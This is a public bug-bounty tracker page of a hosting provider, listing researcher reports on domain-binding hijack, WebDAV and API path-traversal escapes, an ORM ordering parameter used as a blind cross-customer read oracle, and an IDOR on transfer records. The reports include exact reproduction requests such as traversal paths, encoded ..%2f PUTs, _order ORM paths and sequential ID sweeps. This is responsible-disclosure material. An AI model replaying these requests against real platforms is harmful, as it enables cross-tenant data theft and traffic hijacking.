Security vulnerabilities

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

ID Summary Status Date closed
 502  Site address binding lacks ownership validation Closed25.09.2026 Task Description

Summary field: Site address binding lacks ownership validation: any account can hijack vhost traffic for third-party domains resolving to Alwaysdata

—

Details field:

Affected endpoint (in scope) https://api.alwaysdata.com/v1/site/{id}/ - addresses (create and PATCH), and the equivalent front-end site address form (same validation).

Summary

Binding a hostname to a site requires no proof of domain control whatsoever. The platform accepts any syntactically valid domain and, after the async vhost update, serves the attacker's site for every request carrying that Host/SNI. A low-privileged account can therefore bind third-party domains whose traffic already reaches your infrastructure - dangling DNS left behind by churned customers, stale A/AAAA records, or domains that simply point at Alwaysdata without being hosted here - and answer that traffic with an attacker-controlled web application.

Two clarifications up front, because both will otherwise be raised:

1. *The documentation says customers just point DNS and declare the address:* true - but that documented workflow presumes the declarer hosts the domain. Nothing verifies the presumption. There is no DNS TXT challenge, no HTTP token, no whois/registry check at bind time. Format is the only validation ("recon-hijack.example" → 400 "format incorrect"; a fully formed domain the tester does not own → 204).

2. *Uniqueness between customers is enforced (cf.  FS#321  closure: "two customers cannot configure the same domain"):* also true - and I verified it deliberately on both code paths:

CREATE site with an address already used by another site ->
  400 {"address": ["L'adresse docs.alwaysdata.net/ est deja utilisee par un autre site."]}
PATCH site with the same already-used address        ->
  400 {"address": ["L'adresse docs.alwaysdata.net/ est deja utilisee par un autre site."]}

But uniqueness is not ownership: it only prevents conflicts among hostnames that are already configured on the platform. A third-party domain that is configured by nobody (the scenarios in the impact section) has no existing configuration to conflict with, passes the uniqueness check trivially, and is then bound with zero proof of control. The invariant "your hostname serves your site" silently fails for every hostname not currently claimed.

Steps to reproduce

1. Register any low-privilege account with one site (my existing test account, site id 1080353).

2. Add a domain you do not own and cannot prove control of:

PATCH https://api.alwaysdata.com/v1/site/1080353/
Authorization: Basic <token-id>:
Content-Type: application/json

{"addresses":["docs.alwaysdata.net/","recon-hijack-xyz123.com/"]}

→ 204 No Content.

3. Wait for the platform task "Updating the front-end HTTP configuration (hostnames)" to propagate (~45 seconds observed), then send traffic for the claimed domain to the server IP:

GET / HTTP/1.1
Host: recon-hijack-xyz123.com
Connection: close

-> 200, serving MY site's content (index page in my www/)

Control - before the claim, after revert, or with an unclaimed host:
-> 404 "Site not found"

The 404 → 200 → 404 control loop establishes causality between the API modification and the vhost routing change.

4. HTTP-01 challenge response control. Place a marker file at /.well-known/acme-challenge/recontest in my www/ (WebDAV, my own account), then:

GET /.well-known/acme-challenge/recontest HTTP/1.1
Host: recon-hijack-xyz123.com

-> 200 "recon-acme-marker-OK"

The attacker can control the HTTP-01 challenge response for any domain that resolves to the affected Alwaysdata infrastructure. This creates the prerequisite for certificate issuance through an HTTP-01 ACME workflow, subject to the platform's certificate-provisioning behavior. (I have not demonstrated issuance for a domain owned by someone else, and no real third-party domain was ever claimed during testing - only a non-resolving throwaway name, requested solely against your own in-scope IP.)

5. Cleanup (immediately after verification):

PATCH {"addresses":["docs.alwaysdata.net/"]}  -> 204
GET  / with Host: recon-hijack-xyz123.com     -> 404 again (async propagation, ~45s)
WebDAV DELETE marker + .well-known dirs       -> 204, GET -> 404
Temporary second site (uniqueness test)       -> DELETE 204, listings verified

Impact

Any third-party domain whose traffic resolves to an affected Alwaysdata server/IP can potentially be rebound to an attacker-controlled Alwaysdata site. Concretely:

- Dangling DNS - a former customer's A/AAAA records still point at your infrastructure after their site (and thus their address configuration) is gone. Uniqueness no longer protects it: nothing is configured to conflict with.
- Stale or misconfigured records - domains that were never hosted here but resolve here through leftover or erroneous DNS.
- Domains intentionally pointing at Alwaysdata for parts of their setup (mail, subdomains) while their main website lives elsewhere - the web traffic still lands on your IPs.

For any such domain the attacker serves arbitrary content on both HTTP and HTTPS (SNI routing demonstrated above) under the victim's exact hostname: phishing, credential harvesting, content spoofing. If certificate provisioning for the bound hostname follows the HTTP-01 path, the challenge response is the attacker's (demonstrated) - an escalation path to a publicly trusted certificate for the victim hostname, making the HTTPS hijack indistinguishable from legitimate.

Note this is not a Host-header reflection issue (excluded by program rules): the attacker modifies persistent vhost configuration through an authenticated API, and the platform itself routes real traffic to the attacker's site thereafter. The attacker does not gain control of the victim's DNS - they exploit the fact that the traffic already reaches Alwaysdata.

Suggested classification: High (cross-organization traffic takeover of third-party hostnames), with certificate issuance as an escalation path rather than the sole basis for severity. For reference,  FS#438  (domain-transfer logic flaw) was classified Critical and fixed;  FS#321  (HTTP-01 webroot poisoning) was closed as invalid on the grounds that "two customers cannot configure the same domain" - which, as shown above, is enforced, but answers a different question than the one this finding poses.

Root cause

Address binding performs a format check and a uniqueness check against currently configured addresses, but never a domain-control verification (DNS TXT challenge, HTTP token, or registry/whois check). Uniqueness and ownership are different properties; only the former is implemented, and only the former was ever the subject of the  FS#321  dismissal.

Suggested remediation: require proof of domain control before a hostname becomes routable - e.g. DNS TXT record for the domain, or an HTTP token served from the domain's current origin - and apply the same gate on the PATCH/update path as on create. Additionally consider refusing to bind hostnames that resolve to your infrastructure but have no active customer configuration (the dangling-DNS case), or warn loudly when binding a hostname whose registry/SOA data indicates a different holder.

Relation to my previous reports

Independent of my earlier tasks (WebDAV ..%2f, site path "../", webdav/ftp path "../") - those were file-system root-escape issues bounded by your per-account UID isolation. This one is about the hosting control plane binding third-party domain names and reaches outside your customer base entirely.

Account used for testing

- Same test customer account as my previous tasks (details available on request).
- All state reverted (addresses, marker files, temporary test site); listings verified back to original.
- No third-party domain, customer, or traffic involved at any point; the claimed hostname does not resolve in public DNS.

 501  WebDAV share-root containment bypass on webdav-*.always ...Closed25.09.2026 Task Description

[Severity: High] WebDAV share-root containment bypass on webdav-*.alwaysdata.net

Full technical write-up with exact request paths and outputs is attached as
"01-webdav-cross-tenant.md" (the literal encoded-traversal strings trip the WAF
if pasted inline, hence the attachment).

SUMMARY
The per-account WebDAV service at webdav-<account>.alwaysdata.net runs WsgiDAV
4.3.3 (shown in its own error pages). That version is affected by CVE-2026-48099
("encoded dot segments can escape WsgiDAV filesystem share roots", fixed in
WsgiDAV 4.3.4). FilesystemProvider._loc_to_file_path() confines a request to the
account home with a string-prefix check (file_path.startswith(root_path)) instead
of a real path-boundary check, so a request path that resolves OUTSIDE the share
root is accepted as long as the resulting absolute path still starts with the
root path string.

WHAT I CONFIRMED (see attachment for the exact transcript)
Home dirs are /home/<account_name>. From my own account whose root is
/home/mehdik5100a:
- a request going one level up (to /home) is correctly rejected with

500 "Security exception: tried to access file outside root: /home";

- a request resolving to a sibling that merely shares the root string prefix,

e.g. /home/mehdik5100aZZZ, is NOT rejected: it returns 404 (target absent),
proving "/home/mehdik5100aZZZ".startswith("/home/mehdik5100a") passed the
containment check.

Reproduced identically on a second, independent backend server (account root
/home/mehdik5100). Version banner: WsgiDAV/4.3.3 behind gunicorn.

IMPACT
Because account names are chosen freely at signup, an attacker who registers a
free account whose name is a string-prefix of a target account, and who lands on
the same physical server as that target, can read / write / delete the target's
files over WebDAV (GET/PUT/DELETE outside root are confirmed in the CVE's own
proof). This is a cross-tenant break on the shared hosting platform, reachable
from a free account. CVSS 3.1 8.7 High (AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).

ETHICS / SCOPE
I demonstrated only the containment bypass (the 404-vs-500 oracle) on my own
three test accounts (mehdi2008kerimov+alwaysdata{1,2,3}@gmail.com). I did NOT
read, write, or delete any other customer's data, and did not create the volume
of accounts that forcing co-location would require.

REMEDIATION
Upgrade WsgiDAV to >= 4.3.5 (4.3.4 fixes CVE-2026-48099). Additionally confine
each WebDAV worker to its account at the OS level (per-account chroot / mount
namespace / bind mount of only /home/<account>) so a library path bug cannot
cross tenants. Consider hiding the WsgiDAV version and Python exception text.

- Mehdi Kerimov

 499  API accepts unvalidated WebDAV/FTP user path Closed25.09.2026 Task Description

Summary field: API accepts unvalidated WebDAV/FTP user path ("../") - file access root escapes the account directory (cross-customer read/write risk)

—

Details field:

Affected endpoint (in scope) https://api.alwaysdata.com/v1/webdav/ and https://api.alwaysdata.com/v1/ftp/ (create operation, path field), and the resulting WebDAV service on https://webdav-[account].alwaysdata.net/

Summary

The API create operation on the webdav and ftp resources accepts an arbitrary path value without validation. Creating a user with "path":"../" is accepted (201 Created) and stored verbatim. The WebDAV service then resolves that user's root above the account directory (to /home), so the "user" can read and write paths outside their own account - in the worst case, every other customer's files under /home.

This directly breaks the documented guarantee of the field (from /v1/webdav/doc/):

\"Chemin relatif a la racine de votre compte. Les repertoires parents du repertoire racine ne seront ni accessibles ni visibles.\" (\"Path relative to your account root. Parent directories of the root directory will neither be accessible nor visible.\").

Steps to reproduce

1. Create a test account with a WebDAV user restricted to www/ (control).

2. Create a second WebDAV user with a traversal path:

POST https://api.alwaysdata.com/v1/webdav/
Authorization: Basic <token-id>:
Content-Type: application/json

{"name":"<account>_prov","password":"<any>","path":"../"}

→ 201 Created. GET confirms stored value:

"path": "../"

(no validation error).
Identical POST to

/v1/ftp/

also returns 201 with

"path": "../"

.

3. Authenticate to the WebDAV service as that user and prove the root escaped the account.
(Only URLs inside my own account namespace were requested - see rules note below.)

GET /docs/                    -> 200   (account directory is INSIDE this user's root)
GET /docs/www/index.html      -> 200   (own file, reachable only if root = /home)

Control - existing user with path "www/":
GET /docs/                    -> 404
GET /docs/www/index.html      -> 404   (properly jailed)

The control returning 404 while the "../" user returns 200 for the same URLs proves the root is physically different: it resolved to /home (the parent of /home/<account>/), not to /home/<account>/.

4. Cleanup (immediately after verification):

DELETE /v1/webdav/<id>/  -> 204
DELETE /v1/ftp/<id>/     -> 204
GET /v1/webdav/, /v1/ftp/ -> only original users remain

Impact

Any customer - or an attacker who registers an account - can create a WebDAV (or FTP) user whose root is /home, i.e. full read/write across tenant boundaries on the file-sharing layer. Unlike the encoded-traversal issue in my earlier WebDAV task (which broke the jail of a correctly configured user at request time), this one lets the attacker configure an escaped root directly through the API, with no special encoding and no pre-existing restricted user.

Worst case per your methodology: cross-customer file read and write via WebDAV (PUT/DELETE were exercised only inside my own account while proving the write path of the related issue), plus disclosure of anything stored under /home.

Suggested classification: High (customer data), potentially Critical under worst-case analysis - your call.

I did not request any other account's paths (program rules). All probes were limited to /docs/… URLs inside my own test account, which is sufficient to prove the root elevation.

Root cause

The path field of the webdav and ftp resources is not validated on create (and presumably update): no rejection of "..", no canonicalization check that the resolved root stays within the account directory before the value is handed to the file-sharing services.

Relation to my previous reports

- WebDAV ..%2f jail bypass (earlier task): request-time encoding bypass of a correctly configured user. Different layer, different fix.
- Site path "../" (earlier task): same missing-validation pattern on the site resource affecting Apache DocumentRoot. This report covers the webdav and ftp resources affecting the file-sharing services. If you prefer to handle these as one fix family, feel free to merge.

Account used for testing

- Same test customer account as my previous tasks (details available on request).
- Both test users deleted (204) and listings verified back to original state; no lingering credentials.
- No foreign customer data was accessed at any point.

 498  API accepts unvalidated site path Closed25.09.2026 Task Description

Summary field (paste as task title): API accepts unvalidated site path ("../") - HTTP docroot escapes account directory, files outside site root served via own domain

—

Details field:

Affected endpoint (in scope) https://api.alwaysdata.com/v1/site/ (update operation) and the resulting vhost on the customer site (e.g. https:<account-site>.alwaysdata.net/) Summary The API "update" operation on the site resource accepts an arbitrary path value without validation or normalization. Setting it to a relative traversal ("..") rewrites the web server vhost DocumentRoot so it points outside the site directory (and outside the account directory, resolving to /home). Any file under that escaped root is then served over HTTP through the attacker's own site - i.e. the website can read paths it was never supposed to reach, in the worst case including other customers' files under /home. The same field rejects nothing: it silently strips leading slashes ("/etc" is stored as "etc/") and accepts ".."" verbatim. Steps to reproduce 1. Create a test account with a site (path www/). 2. Confirm normal state: <code>
GET https://api.alwaysdata.com/v1/site/<id>/ → "path": "www/"
GET https:
<site>.alwaysdata.net/ → 200 (serves www/)
GET https:<site>.alwaysdata.net/docs/www/index.html → 404 (URL does not exist under legit docroot)
</code> 3. Set a traversal path: <code>
PATCH https://api.alwaysdata.com/v1/site/<id>/
Authorization: Basic <token-id>:
Content-Type: application/json {"path":"../"}
</code> → 204 No Content (no validation error). GET confirms "path": "../". 4. Prove the docroot escaped (the key control: these URLs are IMPOSSIBLE under the legitimate docroot /home/<account>/www): <code>
GET https:
<site>.alwaysdata.net/ → 403 (docroot now resolves to /home, indexes disabled)
GET https:<site>.alwaysdata.net/docs/www/index.html → 200, body = the site's own index.html
GET https:
<site>.alwaysdata.net/docs/admin/ → 403 (account-level directory resolves outside site root)
</code>

The /docs/www/index.html request only returns 200 because DocumentRoot became /home - the file physically lives at /home/<account>/www/index.html and is served via URL path /docs/www/. Under the correct docroot the same URL is 404.

5. Restore:

PATCH {"path":"www/"}    -> 204
GET /                    -> 200 (normal again)
GET /docs/www/index.html -> 404 (escape gone)

Impact

Any customer (or attacker who registers an account) can point their site's document root outside their account by setting path to ".." (or deeper traversals). The web server then serves any filesystem path it can read through the attacker's own hostname.

Potential impact: Because the supplied path can resolve outside the account root, the site's DocumentRoot can potentially encompass /home and other account directories. If those paths are readable by the account's HTTP service/container, this could permit cross-tenant disclosure of other customers' files. I did not access other customers' data, in accordance with the program rules.

Suggested classification: High (customer data), potentially Critical depending on what the web server process can read - your call under worst-case analysis.

I did not attempt to fetch any other account's files (program rules) - only paths inside my own test account were requested, and only to prove the escape.

Root cause

The path field of the site resource is not validated server-side: no rejection of "..", no canonicalization check that the resolved path stays within the account directory before applying it to the web server configuration.

Additional observations (not standalone reports)

- Same field silently normalizes: "/etc" is stored as "etc/" (leading slash stripped, no error).
- Mass assignment on readonly field: PATCH {"id":12345} returns 204 but id is unchanged (ignored - OK).
- Field cross-mutation: PATCH {"annotation":"recon-test"} also set "name" to "recon-test" on the site (unexpected side effect, minor).
- With path "../" the site root returns 403 rather than 404, leaking that the path exists (minor).

Account used for testing

- Same test customer account as my previous WebDAV task (panel login available on request).
- Site restored to path "www/" immediately after verification; site confirmed serving normally (200).
- No files outside my own account were accessed at any point.

497WebDAV path jail bypass via %-encoded traversal (..%2f)...Assigned Task Description

Summary field: WebDAV path jail bypass via %-encoded traversal (..%2f) - read/write outside configured user root

—

Details field:

Affected endpoint (in scope): https://webdav-[account].alwaysdata.net/

Summary

A WebDAV user created with a restricted path (API field: "Chemin relatif a la racine de votre compte. Les repertoires parents du repertoire racine ne seront ni accessibles ni visibles.") can escape that restriction using URL-encoded directory traversal (..%2f) and list, read, write and delete files anywhere inside the hosting account - exactly what the restriction is supposed to prevent.

The per-user root is only enforced against normalized () traversal. The encoded form ..%2f is passed through to the path mapper, which resolves it relative to the account root (the WsgiDAV security check still passes because the final path stays inside the account), so the configured subdirectory jail is silently skipped.

Cross-account access is NOT possible: going one level above the account root returns HTTP 500 with "Security exception: tried to access file outside root: /home" (verbose error disclosure, see additional notes).

Steps to reproduce

1. Create a test account with a site (path www/).

2. Create a WebDAV user restricted to the site directory:

POST https://api.alwaysdata.com/v1/webdav/
Authorization: Basic <token-id>:

{"name":"<account>_recon","password":"<pwd>","path":"www/"}

Confirm the restriction is stored: GET /v1/webdav/ returns "path": "www/".

3. Confirm the jail with Digest auth:

PROPFIND https://webdav-<account>.alwaysdata.net/
-> 207, displayname = www (configured root), children = site files only

4. Bypass with encoded traversal. Control test proving the file lands OUTSIDE the jail:

PUT      /..%2f_recon_proof2.txt   -> 201 Created
PROPFIND /                         -> 207: children of www, does NOT contain the file
PROPFIND /..%2f                    -> 207: displayname=<account>, children =
                                      admin/, www/, _recon_proof2.txt   (parent listed)
GET      /_recon_proof2.txt        -> 404   (file is not inside the jail)
GET      /..%2f_recon_proof2.txt   -> 200, exact body read back
DELETE   /..%2f_recon_proof2.txt   -> 204
GET      /..%2f_recon_proof2.txt   -> 404   (cleanup verified)

Plain GET /../ does NOT bypass (client and server normalize it to /) - only the encoded variant does, which is why it is easy to miss.

Raw request for the PUT (after Digest handshake):

PUT /..%2f_recon_proof2.txt HTTP/1.1
Host: webdav-<account>.alwaysdata.net
Authorization: Digest <...>

recon-proof2-XYZZY

5. Above the account root the protection holds:

PROPFIND /..%2f..%2f  -> 500 Security exception: tried to access file outside root: /home

Validation notes (re-tested same day)

- Restriction is genuinely stored: GET /v1/webdav/ shows path "www/" for the test user (a separate default user with path "" has full root legitimately - that is not this vector).
- The 404-inside-jail / 200-escaped control with the identical filename proves this is not URL-normalization noise: the same name resolves differently depending on the encoded traversal.
- Parent listing exposes sibling directories (e.g. admin/) that must be unreachable per the API documentation.
- All proof files were deleted and deletion verified.

Impact

Any delegated WebDAV user limited to a subdirectory becomes a full-account credential: it can reach sibling directories of its configured root - other sites' document roots, mail storage, SSH keys and config, application source, any secrets in the account. Combined with the confirmed write access this is account takeover within the tenant.

Worst case per your methodology: full read/write of one customer account's content by a principal who was deliberately given access to a single directory.

CVSS estimate: between Medium and High. Suggested metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (adjust as you see fit; PR:L is a deliberately delegated credential).

Additional observations (not standalone reports)

- Verbose 500 pages leak internals: exception text with filesystem layout (/home) and exact software: WsgiDAV/4.3.3. Invalid alone (version/path disclosure) but it directly helped diagnose the bypass.
- WWW-Authenticate: Digest realm="alwaysdata" on webdav; Server: gunicorn behind "Via: 1.1 alproxy".

Account used for testing

- Test customer account created for this program (panel login available on request for verification).
- WebDAV user created: <account>_recon (path www/) - can be deleted on request.
- Proof files already deleted, deletion verified.
- No other account or third-party data was accessed at any point.

 495  Cross Customer Data Read via Unvalidated _order Paramet ...Closed24.09.2026 Task Description

Name of Vulnerability:

An undocumented query string parameter named `_order` is passed straight into Django's `order_by()` with no validation at all, so an attacker can supply an arbitrary ORM path rather than a value. This both traverses relations into models the caller has no access to and, through a multi-valued reverse relation, emits one row per related row of a shared parent, turning the position of the attacker's own row into a comparison oracle against every other customer's value in the chosen column.

Vulnerability Category:

Access Control Issues, Exposure of Sensitive Member Information, Cross-Customer Disclosure.

CVSS 3.1 score: 8.6 High (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`).

Confidentiality is High because arbitrary column content belonging to other customers is recoverable, demonstrated end to end. Integrity and Availability are None because this is a read-only primitive.

The vulnerable component is one list view's query string handling, while the impacted component is the stored data of the whole customer base.

I am deliberately not scoring this Critical. The primitive yields an ordering, not raw bytes, so recovering a column verbatim requires a column the attacker can also write text into, which is what I demonstrate. This is not true of `password`, which is hashed, nor of `dkim_private_key`, which the API validates as a key pair. I show below that `_order` sorts on those columns, but I do not claim to have recovered them.

Description:

This is not the filter defect reported previously, and the fix for that issue does not touch this one.

The earlier report concerned `key=value` filter parameters reaching `.filter()`. This is a different parameter reaching a different ORM operation. The filter helper could not traverse relations usefully because the value still had to be a real primary key.

`_order` has no value restriction. The path itself is the value, so an arbitrary ORM traversal is simply accepted.

```text
GET /mailbox/?_order=name 200, ordering applied
GET /mailbox/?_order=zzbogus4471 500
GET /mailbox/?_order=domainzzbogus 500, uncaught FieldError
GET /mailbox/?_order=domain
dkim_private_key 200
GET /mailbox/?_order=domainaccountcustomerpassword 200, accepted
``` The 500 responses are how I mapped the model graph: a path that resolves returns 200, while one that does not resolve raises an uncaught `FieldError`. ### TWO PROPERTIES COMBINE TO MAKE THIS A CROSS-CUSTOMER READ First, relation traversal. A free plan customer's own mailbox sits on `odata.net`, which is Domain primary key 1 and belongs to the customer. From that one owned row, `domain
` reaches the customer's own domain columns, and `domainaccountcustomer` reaches the Customer model, which carries `last_login` and is therefore part of the authentication model. Second, and this is the actual read primitive, ordering by a multi-valued reverse relation does not deduplicate. `domainmailboxes<column>` emits one output row per mailbox on `alwaysdata.net`, so a single owned row is repeated once per other customer's row. The resulting sequence is ordered by their values in the chosen column. An attacker with a domain of their own contributes exactly one row to the same result set, and its index is the rank of a string the attacker chose among all of the other values. Changing that string and rereading the index creates a comparison oracle, and a comparison oracle is a blind read. ### MEASURED RESULTS All measurements below were performed on 2026-09-24: ```text
GET /mailbox/
200 GET /mailbox/?_order=domain
mailboxesname
200
43,700,241 bytes
50,929 rows GET /mailbox/?_order=domain
mailboxesname&page=2
identical result GET /mailbox/?_order=domain
subdomainsaddressessite

  200
  24,919,125 bytes

GET /mailbox/?_order=domainsubdomainsaddressessiteaccount

  200
  48,162,527 bytes
  56,148 rows
  43.6 seconds

```

A malformed path such as:

```text
GET /mailbox/?_order=domainsubdomainsaddressessitezzbogus
```

returns a 500 response.

### WHAT THE SAME DEFECT ALSO REACHES

I am stating this as reach, not as an additional impact claim.

On `alwaysdata.net`, subdomains are every customer's `<account>.alwaysdata.net`. Therefore, the chain above pivots from subdomains to addresses to site to account to customer.

The control plane can therefore sort 56,148 rows by the `password` column of its authentication model.

I am recording how far an unvalidated path travels, not claiming disclosure of that column. I did not recover a single byte of it, and I cannot do so with this technique because recovery requires a column an attacker can also write a comparand into, while `password` is hashed.

The demonstrated impact of this report is the cross-customer recovery described below.

### WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

My shell is `drwxr-x–x`, so it cannot be listed, and a filesystem-wide grep for my planted secret returns nothing.

A customer's own shell cannot read a single other customer's mailbox row through any route.

The same control on the API confirms the authorization boundary:

Customer A receives HTTP 404 on `/mailbox/635949/` and on `/v1/mailbox/635949/` when requesting Customer B's mailbox, while receiving 200 on its own row in the same minute.

## VULNERABLE INSTANCES

```text
GET https://admin.alwaysdata.com/mailbox/?_order=<arbitrary ORM path>
```

The parameter is honoured identically on:

```text
/site/
/domain/
/ssl/
/job/
/service/
/ip/
```

and on:

```text
https://api.alwaysdata.com/v1/ ```

with the same syntax.

It is not honoured on:

```text
/token/
/support/
/database/
/subscription/
/permission/
```

The issue is reachable by any authenticated customer on a free plan. No paid plan, special role, or additional permission grant is required.

## TWO THINGS I WANT TO SAY BEFORE YOU ASK

### FIRST

The same person registered both customers, and that is not relevant to the authorization boundary.

The two customers below were created by one researcher. What matters is that the control plane models them as separate customers and enforces that separation everywhere else.

Customer A receives 404 on Customer B's mailbox on both the panel and API while receiving 200 on its own row in the same minute.

Customer A's API token against Customer B's account ID returns 404, byte-identical to a nonexistent ID.

The account pickers are disjoint, and Customer B does not appear in Customer A's customer selector.

The boundary this report crosses is the one the platform draws, which is the relevant security boundary for this finding.

### SECOND

The value I recovered was one I deliberately planted.

I wrote a canary into a free-text column of a mailbox belonging to the other customer and then recovered it from a session that has no access to that mailbox.

I did this so that no real third-party data was ever read, inferred, or recorded.

The oracle necessarily ranks my probes against the other 50,928 rows in the population, which is the defect itself, but every value I reconstructed was my own.

## STEPS TO REPRODUCE

Total cost: EUR 0.

Two unrelated customers were used, each with their own permissions and disjoint account pickers.

```text
Customer A = user 489835
Customer B = user 489840
Mailbox B = 635949
```

### 1. Plant the canary

As Customer B, store a secret in a free-text column of B's own mailbox on `alwaysdata.net`.

I used `autoresponder_subject`.

The 8-character secret came from `/dev/urandom` and was never opened. Its SHA-256 was committed to the shared working log at `08:57:29Z`, before any probe, so the recovery below is verifiably blind rather than reconstructed from the probe process.

### 2. Create comparands

As Customer A, create one domain of your own and eight mailboxes.

Each mailbox becomes an independent comparand in the same request because the reverse relation emits each mailbox once per population row.

### 3. Issue the ordering request

As Customer A:

```http
GET /mailbox/?_order=domainmailboxesautoresponder_subject
```

Read the indices at which your own eight rows appear.

Each index tells you how many values sort before that comparand, allowing approximately `log2` of the alphabet to be resolved for a character position.

### 4. Repeat

Two requests per character were enough against a 36-character alphabet.

### 5. Result

All 8 characters were recovered from `09:00:01Z` to `09:12:26Z`, in 16 requests.

The recovered string hashes to the digest committed at `08:57:29Z`.

Customer A never had access to Customer B's mailbox before or after the test, as demonstrated by the authorization controls.

## PROOF OF CONCEPT

### COST PER PROBE

Approximately 37 seconds and 786 KB, not 43 MB.

`autoresponder_subject` sorts the whole population and PostgreSQL sorts ascending with `NULLS LAST`, so the interesting window sits near output index 720 of approximately 50,930.

The response can be read as a stream and abandoned once the relevant window has passed.

This saves my bandwidth, not server-side work. Time to first byte remains approximately 33 to 37 seconds.

### THE FIVE CONTROLS

All controls were run in the same window because a rank on its own is not sufficient evidence.

C0: Baseline, canary never planted

The window is a contiguous empty region of population rows. Any later split is caused by the canary.

C1: Predict the rank of a known value

The predicted rank was `32 | 1 | 32`.

C2: Canary removed

The split collapses back to a single block and the delta returns to 0.

This is the control that isolates the canary and was the control that could not be completed earlier.

C3: Replant a different chosen value

The predicted result was `48 | 1 | 16`, matching the changed ordering position.

C4: A second, separately authenticated session

The same reading was reproduced.

### AUTHORIZATION CONTROL

In the same minute, Customer A receives:

```text
404 on /mailbox/635949/
404 on /v1/mailbox/635949/
200 on its own /mailbox/635597/
```

### THE FAN-OUT ITSELF

This was proved on both front doors without making a 43 MB request.

Bounding the queryset to a single owned mailbox:

```text
/v1/mailbox/?name=c2&_order=domainmailboxesid
```

returns eight copies of the control row compared with:

```text
?_order=id
```

The same behaviour occurs on the panel.

### WHAT I DID NOT DO

I did not read, infer, or record any value belonging to another customer.

Every value I reconstructed was one I planted on an account I own.

The generalisation to the other 50,928 rows is argued from the mechanism, not exercised.

## IMPACT

Any authenticated customer on a free plan can read the contents of another customer, one comparison at a time, without ever touching an object they do not own and without triggering any object-level authorization check.

No object-level check is involved because the rows returned are the attacker's own rows.

What is recoverable verbatim today is any column the attacker can also write, which covers the free-text mailbox columns.

I measured which columns the parameter actually accepts, in one batch with a control:

```text
?_order=domainmailboxesredirect_to

  resolves
  indicates where a customer forwards their mail

?_order=domainmailboxessieve_filter

  resolves

?_order=domainmailboxesautoresponder_message

  resolves

?_order=domainmailboxesantispam_folder

  resolves

?_order=domainmailboxespurge_folders

  resolves

?_order=domainmailboxespassword

  resolves
  sortable, but not recoverable verbatim

?_order=domainmailboxeszzbogus4471

  500 / 1,033 bytes
  NEGATIVE CONTROL

```

What is additionally sortable, but which I did not recover and am not claiming as a disclosure, includes the `password` column of the authentication model and `dkim_private_key` of `alwaysdata.net` itself.

Neither is recoverable verbatim using this technique because `password` is hashed and the API validates `dkim_private_key` as a key pair.

I mention them only to show how far the unvalidated path travels when sizing the fix.

I would also point out that the fix for the earlier filter report is separate from this query string handling issue. This parameter is a second instance of the same underlying habit. I mention this to be useful about the class, not to relitigate the earlier ticket.

## RECOMMENDATION

1. Validate `_order` against an explicit allow list of orderable columns, just as would be done for a filter field. Rejecting anything containing `__` would close the traversal on its own.

2. Apply `.distinct()` wherever an ordering may cross a multi-valued relation. The de-duplication is what converts a sort into a read primitive.

3. Catch `FieldError` and return HTTP 400 rather than HTTP 500. The uncaught exception currently acts as an oracle over the internal model graph, including models the panel never renders.

4. Paginate this view. It currently renders 56,148 rows and approximately 48 MB in the demonstrated request.

5. The same parameter is honoured on `api.alwaysdata.com`, so both front doors should be fixed. I checked and the API has no pagination parameter at all.

## DISCLOSURE

I want to explicitly document the testing activity because the application reports alerts when this parameter is exercised.

I caused 36 alerts on this parameter between approximately `06:00Z` and `09:15Z` on 2026-09-24.

Every test object I created has been deleted and verified gone, and both mailboxes I touched were restored field by field with a read-back verification.

 494  Any Customer Reads Every Account Transfer Record Closed23.09.2026 Task Description

Vulnerability Information:

Name of Vulnerability:
`/transfer/<id>/confirm/` performs no object-level authorization, allowing any authenticated customer to read account transfer records created for other customers by walking the global sequential ID space.

The endpoint exposes the transferred account's name, product tier, and email address of the person receiving the transfer, while the sibling `/transfer/<id>/accept/` and `/transfer/<id>/cancel/` views correctly scope the same object.

Vulnerability Category:
Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.

This is the same class as  FS#423  (IDOR to registrant dossiers) and  FS#203  (account data exposed through insufficient authorization), both of which you fixed.

CVSS 3.1: 6.5 Medium
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

I score this based on the demonstrated primitive only: read access, one record per request, and no write capability.

The issue exposes third-party personal data, including email addresses, and therefore falls within the "accessing customers' data" impact category.

This report is unrelated to my two reports concerning `/reseller/domain/`. It is a different application and a different authorization defect.

Description:

Account ownership transfers, referred to as "cession", are represented by objects with a single global sequential ID rather than per-customer numbering.

The three views that operate on a transfer are:

```
/transfer/<id>/accept/

  Correctly scoped
  404 for a transfer the authenticated customer is not party to

/transfer/<id>/cancel/

  Correctly scoped
  404 for a transfer the authenticated customer is not party to

/transfer/<id>/confirm/

  NOT scoped
  200 for every existing transfer ID

```

The missing authorization check on `/confirm/` is the entire defect.

The existing codebase provides the control that demonstrates this clearly. Using the same user, in the same session, against the same transfer ID, `/accept/` and `/cancel/` refuse access while `/confirm/` serves the object.

The confirmation page renders:

```
"The transfer of the account <ACCOUNT NAME> is currently being accepted by <EMAIL ADDRESS>."
```

The product tier is also present in the page heading, for example:

```
"Transfer of a Private cloud account"
```

Because the transfer ID space is a single global counter, an attacker does not need to guess individual identifiers. They can enumerate them sequentially.

I swept a contiguous window of 68 IDs and 64 returned HTTP 200. Additional spot checks at IDs 800, 1400, 2000, 3000, 4500, and 4900 also returned HTTP 200.

This demonstrates that the vulnerable endpoint covers historical transfer records rather than only a recent slice.

Transfer ID 2000 predates every account I own, which rules out any permission relationship between my own accounts as an explanation.

WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH

A tenant's own SSH shell cannot enumerate another customer's ownership-transfer history.

This is control-plane state. The record couples a business or project account with the email address of the individual receiving ownership of it, identifying which party in a private commercial handover ultimately received the asset.

Nothing in a customer's own environment exposes this information.

Vulnerable Instances:

```
GET https://admin.alwaysdata.com/transfer/<id>/confirm/

POST https://admin.alwaysdata.com/transfer/<id>/confirm/
```

The POST is also read-only in the observed behavior and does not mutate the transfer.

`<id>` can be any existing transfer ID.

The endpoint is reachable by any authenticated customer.

No permission grant, reseller role, or paid plan is required.

Steps to Reproduce:

